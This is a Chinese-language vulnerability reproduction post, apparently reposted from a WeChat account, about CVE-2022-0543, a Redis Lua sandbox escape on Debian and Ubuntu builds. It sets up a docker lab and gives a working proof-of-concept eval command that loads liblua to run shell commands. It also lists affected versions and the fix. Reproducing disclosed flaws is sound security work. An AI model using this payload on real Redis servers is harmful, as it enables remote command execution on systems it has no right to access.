【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

渗透技巧 2年前 (2022) admin
1,073 0 0

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x01 前言

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。


0x02 环境搭建

利用docker搭建漏洞复现环境

git pul  // 更新vulhub

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

拉取漏洞环境

docker-compose  up -d

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x03 漏洞复现

利用redis-cli工具连接redis

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

利用poc验证:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0""luaopen_io"); local io = io_l(); local f = io.popen("whoami""r"); local res = f:read("*a"); f:close(); return res' 0
【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x04 漏洞影响


影响版本An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivativesRedis >=2.2 and < 5.0.13Redis >=2.2 and < 6.0.15Redis >=2.2 and < 6.2.5
安全版本Redis 6.2.56.0.155.0.13或更高版本

0x05 修复建议

更新最新无漏洞版本

0x06 参考链接

https://twitter.com/jas502n/status/1501949645026918403https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rcehttps://mp.weixin.qq.com/s/OajI--GbU97L8oL___QMFQ


>精彩回顾<

干货 | 红队快速批量打点的利器

【干货】最全的Tomcat漏洞复现

{Vulhub漏洞复现(一)ActiveMQ}

{Vulhub漏洞复现(二) Apereo CAS}

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

干货 | 横向移动与域控权限维持方法总汇

干货 | 免杀ShellCode加载框架

【干货】phpMyAdmin漏洞利用汇总

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

关注我

获得更多精彩

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

坚持学习与分享!走过路过点个”在看“,不会错过【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

仅用于学习交流,不得用于非法用途

如侵权请私聊公众号删文

原文始发于微信公众号(EchoSec):【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

版权声明:admin 发表于 2022年3月15日 下午5:23。
转载请注明:【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...